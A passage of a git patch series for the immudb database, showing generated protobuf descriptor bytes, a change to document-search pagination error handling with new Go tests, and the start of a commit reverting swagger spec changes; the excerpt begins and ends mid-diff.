0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, + 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x22, 0x11, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, + 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x92, + 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x3a, 0x01, 0x2a, 0x22, 0x10, 0x2f, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, - 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x92, 0x41, 0x0b, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, + 0x3a, 0x01, 0x2a, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, - 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, - 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, - 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, - 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, - 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, - 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, - 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, - 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x3a, 0x01, 0x2a, 0x1a, 0x11, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x42, + 0xb0, 0x01, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, + 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, + 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, + 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, + 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, + 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, + 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, + 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, + 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index b7afdf7d8d..0889377bf4 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -229,6 +229,11 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *protomodel.Documen // update the pagination parameters for this query in the session sess.UpdatePaginatedDocumentReader(searchID, req.Page, req.PerPage, int(pgreader.TotalRead)+len(results)) + resp := &protomodel.DocumentSearchResponse{ + SearchID: searchID, + Revisions: results, + } + if errors.Is(err, document.ErrNoMoreDocuments) { // end of data reached, remove the paginated reader and pagination parameters from the session delErr := sess.DeletePaginatedDocumentReader(searchID) @@ -237,10 +242,7 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *protomodel.Documen } } - return &protomodel.DocumentSearchResponse{ - SearchID: searchID, - Revisions: results, - }, err + return resp, nil } func (s *ImmuServer) DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteRequest) (*protomodel.DocumentDeleteResponse, error) { diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 14517f631c..89fa1c1bac 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -21,7 +21,6 @@ import ( "fmt" "testing" - "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/server/sessions" @@ -233,7 +232,7 @@ func TestPaginationOnReader(t *testing.T) { require.Equal(t, 1, sess.GetPaginatedDocumentReadersCount()) t.Run("test reader should throw no more entries when reading more entries from a reader", func(t *testing.T) { - _, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + _, err = s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ Collection: collectionName, Query: &protomodel.Query{ Expressions: []*protomodel.QueryExpression{ @@ -252,7 +251,7 @@ func TestPaginationOnReader(t *testing.T) { PerPage: 5, SearchID: searchID, }) - require.ErrorIs(t, err, document.ErrNoMoreDocuments) + require.NoError(t, err) }) }) @@ -412,5 +411,200 @@ func TestPaginationWithoutSearchID(t *testing.T) { require.Equal(t, 4, sess.GetPaginatedDocumentReadersCount()) }) +} + +func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { + dir := t.TempDir() + + serverOptions := DefaultOptions(). + WithDir(dir). + WithPort(0). + WithMetricsServer(false). + WithAdminPassword(auth.SysAdminPassword). + WithSigningKey("./../../test/signer/ec1.key") + + s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) + require.NoError(t, s.Initialize()) + + authenticationServiceImp := &authenticationServiceImp{s} + + logged, err := authenticationServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{ + Username: "immudb", + Password: "immudb", + Database: "defaultdb", + }) + assert.NoError(t, err) + assert.NotEmpty(t, logged.SessionID) + + md := metadata.Pairs("sessionid", logged.SessionID) + ctx := metadata.NewIncomingContext(context.Background(), md) + + // create collection + collectionName := "mycollection" + + _, err = s.CollectionCreate(ctx, &protomodel.CollectionCreateRequest{ + Name: collectionName, + Fields: []*protomodel.Field{ + {Name: "pincode", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + {Name: "idx", Type: protomodel.FieldType_INTEGER}, + }, + Indexes: []*protomodel.Index{ + {Fields: []string{"pincode"}}, + {Fields: []string{"country"}}, + {Fields: []string{"idx"}}, + }, + }) + require.NoError(t, err) + + // add documents to collection + for i := 1.0; i <= 10; i++ { + _, err = s.DocumentInsert(ctx, &protomodel.DocumentInsertRequest{ + Collection: collectionName, + Document: &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, + "country": { + Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, + }, + "idx": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, + }, + }, + }) + require.NoError(t, err) + } + + t.Run("test reader with multiple paginated reads", func(t *testing.T) { + results := make([]*protomodel.DocumentAtRevision, 0) + + var searchID string + for i := 1; i <= 2; i++ { + resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + Collection: collectionName, + Query: &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_GE, + Value: structpb.NewNumberValue(0), + }, + }, + }, + }, + }, + Page: uint32(i), + PerPage: 4, + SearchID: searchID, + }) + require.NoError(t, err) + require.Equal(t, 4, len(resp.Revisions)) + results = append(results, resp.Revisions...) + searchID = resp.SearchID + } + + // ensure there is only one reader in the session for the request and it is being reused + // get the session from the context + sessionID, err := sessions.GetSessionIDFromContext(ctx) + require.NoError(t, err) + + sess, err := s.SessManager.GetSession(sessionID) + require.NoError(t, err) + require.Equal(t, 1, sess.GetPaginatedDocumentReadersCount()) + + t.Run("test reader should throw no more entries when reading more entries from a reader", func(t *testing.T) { + resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + Collection: collectionName, + Query: &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_GE, + Value: structpb.NewNumberValue(0), + }, + }, + }, + }, + }, + Page: 3, + PerPage: 5, + SearchID: searchID, + }) + require.NoError(t, err) + require.Equal(t, 2, len(resp.Revisions)) + results = append(results, resp.Revisions...) + }) + + for i := 1.0; i <= 10; i++ { + docAtRev := results[int(i-1)] + require.Equal(t, i, docAtRev.Document.Fields["idx"].GetNumberValue()) + } + }) + + t.Run("test reader with single read", func(t *testing.T) { + var searchID string + resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + Collection: collectionName, + Query: &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_GE, + Value: structpb.NewNumberValue(0), + }, + }, + }, + }, + }, + Page: 1, + PerPage: 11, + SearchID: searchID, + }) + require.NoError(t, err) + require.Equal(t, 10, len(resp.Revisions)) + searchID = resp.SearchID + + // ensure there is only one reader in the session for the request and it is being reused + // get the session from the context + sessionID, err := sessions.GetSessionIDFromContext(ctx) + require.NoError(t, err) + + sess, err := s.SessManager.GetSession(sessionID) + require.NoError(t, err) + require.Equal(t, 0, sess.GetPaginatedDocumentReadersCount()) + + t.Run("test reader should throw error when reader is deleted", func(t *testing.T) { + _, err = s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + Collection: collectionName, + Query: &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_GE, + Value: structpb.NewNumberValue(0), + }, + }, + }, + }, + }, + Page: 2, + PerPage: 5, + SearchID: searchID, + }) + require.ErrorIs(t, err, sessions.ErrPaginatedDocumentReaderNotFound) + }) + + }) } From 6b4d73448b464e2aefbe903f58c99bc96518d3cd Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 4 May 2023 19:29:17 -0300 Subject: [PATCH 0505/1062] chore(pkg/api): revert changes in swagger spec Signed-off-by: Jeronimo Irazabal --- pkg/api/openapi/apidocs.swagger.json | 4 +- pkg/api/protomodel/authorization.pb.go | 54 ++--- pkg/api/protomodel/docs.md | 264 ++++++++++++------------- pkg/api/protomodel/documents.pb.go | 124 ++++++------ 4 files changed, 222 insertions(+), 224 deletions(-) diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index ad337b24e0..ec4a434003 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -941,9 +941,7 @@ "operator": { "$ref": "#/definitions/modelComparisonOperator" }, - "value": { - "type": "object" - } + "value": {} } }, "modelFieldType": { diff --git a/pkg/api/protomodel/authorization.pb.go b/pkg/api/protomodel/authorization.pb.go index 9dfbdaa997..0a2889b9fd 100644 --- a/pkg/api/protomodel/authorization.pb.go +++ b/pkg/api/protomodel/authorization.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.30.0 +// protoc-gen-go v1.28.1 // protoc v3.21.12 // source: authorization.proto @@ -363,40 +363,40 @@ var file_authorization_proto_rawDesc = []byte{ 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x92, 0x41, 0x11, 0x0a, 0x0d, - 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x62, 0x00, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x3a, 0x01, 0x2a, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, - 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, + 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x20, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x11, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x62, 0x00, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3d, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, - 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x3a, 0x01, - 0x2a, 0x22, 0x20, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, - 0x69, 0x76, 0x65, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, + 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, 0x69, 0x76, 0x65, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x92, 0x41, 0x0f, - 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x21, 0x3a, 0x01, 0x2a, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, - 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x2f, 0x63, 0x6c, 0x6f, 0x73, 0x65, 0x42, 0xad, 0x01, 0x92, 0x41, 0x79, 0x12, 0x27, 0x0a, 0x12, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, - 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, - 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, - 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, - 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, - 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, - 0x75, 0x74, 0x68, 0x12, 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, - 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x21, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 